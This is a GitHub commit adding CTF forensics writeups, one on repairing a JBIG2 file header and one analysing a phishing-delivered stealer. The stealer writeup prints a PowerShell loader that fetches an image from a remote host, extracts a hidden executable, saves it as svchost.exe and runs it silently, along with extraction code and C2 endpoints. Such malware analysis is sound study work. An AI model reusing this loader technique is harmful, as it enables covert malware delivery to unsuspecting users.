Skip to content

Commit 357d955

Browse files
committed
more updates
1 parent 8397784 commit 357d955

File tree

23 files changed

+694
-155
lines changed

23 files changed

+694
-155
lines changed

public/content/writeups/index.json

Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
[
2+
{
3+
"id": "themulestealer",
4+
"title": "SASC CTF 2025 - The Mule Stealer",
5+
"category": "forensics",
6+
"date": "2025-06-01",
7+
"description": "Is this a rabbit? Or a cat? Or a crabbit..., maybe? I'm instructed not to click on weird attachments, but this one should be my background image for real!"
8+
},
9+
{
10+
"id": "jigboy",
11+
"title": "Mapna CTF 2024 - JigBoy",
12+
"category": "forensics",
13+
"date": "2024-01-25",
14+
"description": "A forensics challenge from MAPNA CTF 2024 involving file header analysis and repair"
15+
}
16+
]

public/content/writeups/jigboy.md

Lines changed: 35 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
## Description
2+
> Jigboy, the superhero, possesses the remarkable ability to reel in colossal fish from the depths of the deep blue sea.
3+
4+
JigBoy is one of the forensics challenges from the MAPNA CTF 2024 which ended up getting 5 solves in the CTF and I upsolved it since I couldn't play the CTF on time.
5+
6+
## Solution
7+
After extracting the file, at the first glance we see a file with `.damaged` extension. We can assume it's some kind of "Fix the damaged file" challenge so we open it in a hex editor.
8+
9+
![Hex editor view](image.png)
10+
11+
I couldn't figure out what type of damaged file this was so I decided to google the first few hex of the file `32 0D 0A 1A 0A` to see if we can get information from the header.
12+
Straight up on the 2nd link it tells that this header belongs to a `.jbg` file, more precisely `.jbg2` and the correct header is `97 4A 42 32 0D 0A 1A 0A`
13+
14+
To understand the Header more:
15+
- `0x97`: The first character is nonprintable, so that the file cannot be mistaken for ASCII.
16+
- `0x4A 0x42 0x32`: decodes to jb2
17+
- `0x1`: This field indicates that the file uses the sequential organisation, and that the number of pages is known.
18+
19+
After fixing the header, I opened the file in STDU viewer but It still gave me an error...
20+
21+
![Error in STDU viewer](image-1.png)
22+
23+
So there's more than initial file header corrupted so I started reading more about the jb2 format and looking at the changed hex. To understand and to get familiar with the data, I downloaded a sample jbig file and compared the hex.
24+
25+
Sample from the Internet:
26+
![Sample hex data](image-2.png)
27+
28+
Now I am assuming the size bytes of the file (`00 30 00 01 00 00 00 01 00 00 01 01 00 00 00 13`) has been modified too so I just copied the bytes from the sample to the original file along with the end hex data `0x00 0x03 0x33 0x00` to `0x00 0x03 0x31 0x00` and tried opening the file and *VOILA* :D We get the flag
29+
30+
![Flag revealed](image-3.png)
31+
32+
I tried tweaking the size bytes to see what exactly was meant to be changed since I used the same bytes as the sample Image but I ended up either crashing the file or It showing nothing.
33+
34+
> To read more about the JBIG file format: [JBIG2 Specification](https://ics.uci.edu/~dan/class/267/papers/jbig2.pdf)
35+
12.5 KB
Loading
18.9 KB
Loading
6.2 KB
Loading
146 KB
Loading
Lines changed: 210 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,210 @@
1+
### TASK.EML
2+
3+
We received a `RFC 822 mail` file which initially was only 300kb in size and i thought this was going to be a super easy malware challenge but as the description suggests `Is this a rabbit? Or a cat? Or a crabbit.` I knew we might be looking forward to a rabbit hole.
4+
5+
Opening the `.eml` file in VS code , we can see that it has an extremely large base64 encoded string ( 4000 lines ).
6+
7+
![image.png](image.png)
8+
9+
but before that got my interest , I looked at the line above that read `Check out this cat <a href="[https://verifycert.task.sasc.tf/video/view.html](https://verifycert.task.sasc.tf/video/view.html)">video </a>` so as usual i clicked on the first link i saw which had absolutely nothing on the display but every time when i would reload the page , I would see slight glimpse of the captcha, but I wasn't able to click it which was suspicious but I ignored it because i thought it was just a red herring.
10+
11+
![themole.gif](themole.gif)
12+
13+
Coming back to the `.eml` file and the big base64
14+
15+
Decoding the base64 string , we get an image of a rabbit, Indeed this guy is very cute but other than that he had nothing with him that would make him useful to us ( sorry bunny ).
16+
17+
![image.png](image%201.png)
18+
19+
So i decided to check out the webpage we got before , maybe i missed something? Since the captcha was not visible properly the next step ( obviously ) would be to check out the page-source.
20+
21+
It was all normal other than that there’s another link present that reads its a mp4 file [`https://verifycert.task.sasc.tf/video/cat_rabbit.mp4`](https://verifycert.task.sasc.tf/video/cat_rabbit.mp4) , well maybe we will see a bunny hopping around this time but to my horrors its was a `POWERSHELL` script!!!
22+
23+
### POWERSHELL.PS1
24+
25+
Quickly opening the `ps1` file we found that it was base64 encoded too.
26+
27+
![image.png](image%202.png)
28+
29+
Decoding it we get a pretty small PowerShell script -
30+
```powershell
31+
Add-Type -AssemblyName System.Drawing
32+
$wc = New-Object System.Net.WebClient
33+
[byte[]]$bytes = $wc.DownloadData('https://verifycert.task.sasc.tf/flag.png')
34+
$ms = New-Object System.IO.MemoryStream(,$bytes)
35+
$bmp = New-Object System.Drawing.Bitmap($ms)
36+
37+
function BitsToByte {
38+
param([bool[]]$bits, [int]$startIndex)
39+
$val = 0
40+
for ($i = 0; $i -lt 8; $i++) {
41+
if ($bits[$startIndex + $i]) { $val = $val -bor (1 -shl $i) }
42+
}
43+
return [byte]$val
44+
}
45+
$bitList = New-Object 'System.Collections.Generic.List[bool]'
46+
for ($y = 0; $y -lt $bmp.Height; $y++) {
47+
for ($x = 0; $x -lt $bmp.Width; $x++) {
48+
$r = $bmp.GetPixel($x, $y).R
49+
[void]$bitList.Add(($r -band 1))
50+
}
51+
}
52+
$bits = $bitList.ToArray()
53+
$sizeBytes = 0..3 | ForEach-Object { BitsToByte $bits ($_ * 8) }
54+
$payloadLen = [BitConverter]::ToInt32($sizeBytes, 0)
55+
$payload = New-Object byte[] $payloadLen
56+
for ($b = 0; $b -lt $payloadLen; $b++) {
57+
$payload[$b] = BitsToByte $bits (32 + $b * 8)
58+
}
59+
$dir = Join-Path $env:LOCALAPPDATA 'temp'
60+
$outFile = Join-Path $dir 'svchost.exe'
61+
[System.IO.File]::WriteAllBytes($outFile, $payload)
62+
Start-Process -FilePath $outFile -WindowStyle Hidden
63+
```
64+
In a nutshell this script is -
65+
- Downloading an image from a remote server.
66+
- Extracting hidden data from the least significant bits (LSBs) of the image’s pixels.
67+
- Reconstructs a binary executable from the hidden data.
68+
- Saves it to disk as `svchost.exe`.
69+
- Silently executes the hidden payload.
70+
71+
We see that there are 2 Important things
72+
73+
1. `https://verifycert.task.sasc.tf/flag.png`
74+
2. `$outFile = Join-Path $dir 'svchost.exe'`
75+
76+
Even if we don't dive deep into understanding the PowerShell script at first , we know that whatever is happening , its going to lead us to `svchost` so i decided to check out our flag.png url and well well well! just how i thought that we would run into a rabbit hole , we did.
77+
78+
![image.png](image%203.png)
79+
80+
Well this is what i thought at first at least but after reading the rest of the PowerShell code, we can determine that this png is used to get `svchost.exe` so i download the file and asked GPT to write a script to extract the exe from the image based on what we understand from the script.
81+
82+
```python
83+
#!/usr/bin/env python3
84+
import os
85+
import requests
86+
from io import BytesIO
87+
from PIL import Image
88+
89+
def bits_to_byte(bits, start_index):
90+
"""Convert 8 bits in little-endian order starting at start_index into one byte."""
91+
val = 0
92+
for i in range(8):
93+
if bits[start_index + i]:
94+
val |= (1 << i)
95+
return val
96+
97+
def main():
98+
# 1) Download the PNG
99+
url = 'https://verifycert.task.sasc.tf/flag.png'
100+
resp = requests.get(url)
101+
resp.raise_for_status()
102+
print('open image')
103+
# 2) Load into a PIL image
104+
img = Image.open(BytesIO(resp.content)).convert('RGB')
105+
width, height = img.size
106+
print('Getting lsb')
107+
# 3) Extract LSBs of red channel into a flat list of 0/1
108+
bits = []
109+
for y in range(height):
110+
for x in range(width):
111+
r, _, _ = img.getpixel((x, y))
112+
bits.append(r & 1)
113+
114+
# 4) First 32 bits = little-endian 4-byte payload length
115+
size_bytes = bytes(bits_to_byte(bits, i * 8) for i in range(4))
116+
payload_len = int.from_bytes(size_bytes, byteorder='little', signed=False)
117+
118+
# 5) Extract the payload bytes
119+
payload = bytearray(payload_len)
120+
for i in range(payload_len):
121+
payload[i] = bits_to_byte(bits, 32 + i * 8)
122+
123+
# 6) Write to disk (current directory)
124+
out_path = os.path.abspath('svchost.exe')
125+
with open(out_path, 'wb') as f:
126+
f.write(payload)
127+
128+
print(f'Payload saved to: {out_path}')
129+
130+
if __name__ == '__main__':
131+
main()
132+
```
133+
134+
My next step was to checkout this exe in virustotal to see the overall behavior since it was a malware challenge and we can see that it does `GET` and `PUT` for a file called `exfiltr8.txt`
135+
136+
![image.png](image%204.png)
137+
138+
Opening them just gives us garbage text but it was most likely the thing that we might needed to decrypt somehow.
139+
We can also see that it does a shell command `"cmd" /C "type flag.txt"` but that was about it what virustotal could have helped us in but since we had the exe now , we weren't too far off the flag.
140+
141+
### SVCHOST.EXE
142+
143+
Checking out the `svchost.exe` , The file size is over 4MB and it is stripped, meaning all symbol information has been removed. To recover function names and better understand the code, I used the tool [Cerberus](https://github.com/h311d1n3r/Cerberus). This allowed me to recover approximately 30% of the functions.
144+
145+
We can find that the program communicates with the following endpoints: `http://backupstorage.task.sasc.tf/in/exfiltr8.txt` & `http://backupstorage.task.sasc.tf/out/exfiltr8.txt`.
146+
147+
![image.png](diagram.png)
148+
149+
The first request to the `in` endpoint succeeds, but the second request to the `out` endpoint fails with a 400 error (likely due to the server rejecting the file write)
150+
151+
![image.png](image%205.png)
152+
153+
To analyze further, we can set up a simple WebDAV server using `wsgidav` to emulate the original server. I downloaded the `in/exfiltr8.txt` file and placed it in the corresponding directory.
154+
155+
Using Process Monitor, I observed that the executable spawns a `cmd` process and runs the command `cmd /C "type flag.txt"`( which we already did find through Virus Total before ), originating from address `0x1402D4072` within `svchost.exe`.
156+
157+
![image.png](image%206.png)
158+
159+
![image.png](image%207.png)
160+
161+
I created a test `flag.txt` file, and noticed that changes to this file resulted in different content being written to `out/exfiltr8.txt`. Also, the `type flag.txt` command itself changes depending on the content of `in/exfiltr8.txt`.
162+
163+
This indicates that the binary is a remote code execution (RCE) malware. It downloads an instruction file from `/in/exfiltr8.txt`, decrypts and executes it, then encrypts the output and uploads it to `/out/exfiltr8.txt`.
164+
165+
After some more reversing , my teammate tien determined that the `/in/exfiltr8.txt` content is decrypted using a function at `sub_1402C8550` to produce the command `type flag.txt`. Further debugging revealed that the function `sub_14004BCB0` is used to encrypt the flag. It takes the following parameters:
166+
167+
```markdown
168+
- `a1`: output buffer
169+
- `a2`: the key, specifically the bytes:
170+
`09 DC 6E 7F 77 82 A4 B5 87 7B D0 26 7F C3 60 5F DF E1 26 B9 5A 46 C0 BE 63 D0 74 0E E8 0E EE 46`
171+
- `a3`: length of the key, 32 bytes
172+
- `a4`: input data (plaintext)
173+
- `a5`: input length
174+
```
175+
176+
The function implements a stream cipher algorithm similar to RC4, consisting of two phases: Key Scheduling Algorithm (KSA) and Pseudo-Random Generation Algorithm (PRGA).
177+
178+
To reverse the encryption and recover the original plaintext, we used the following Python script:
179+
```python
180+
import base64
181+
182+
def rc4_crypt(key, data):
183+
S = list(range(256))
184+
j = 0
185+
for i in range(256):
186+
j = (j + S[i] + key[i % len(key)]) % 256
187+
S[i], S[j] = S[j], S[i]
188+
189+
output = bytearray(len(data))
190+
i = j = 0
191+
for k in range(len(data)):
192+
i = (i + 1) % 256
193+
j = (j + S[i]) % 256
194+
S[i], S[j] = S[j], S[i]
195+
t = (S[i] + S[j]) % 256
196+
output[k] = data[k] ^ S[t]
197+
198+
return output
199+
200+
key = bytes.fromhex("09DC6E7F7782A4B5877BD0267FC3605FDFE126B95A46C0BE63D0740EE80EEE46")
201+
encrypted_data_base64 = "AYKd3hGoR6yEtRBeK6S8THh8QlqX/31kHPm1EK0OHRcMPJiQQLZ0dWWbkF5+Zg=="
202+
encrypted_data = base64.b64decode(encrypted_data_base64)
203+
204+
decrypted_data = rc4_crypt(key, encrypted_data)
205+
print("Decrypted data", decrypted_data.decode('utf-8', errors='ignoree'))
206+
```
207+
208+
and Voila!!!!
209+
210+
We get our flag : `SAS{c475_w17h_r4bb17_34r5_c4n_d3liv4r_m4lw4r3}`
43.8 KB
Loading
198 KB
Loading
186 KB
Loading

0 commit comments

Comments
 (0)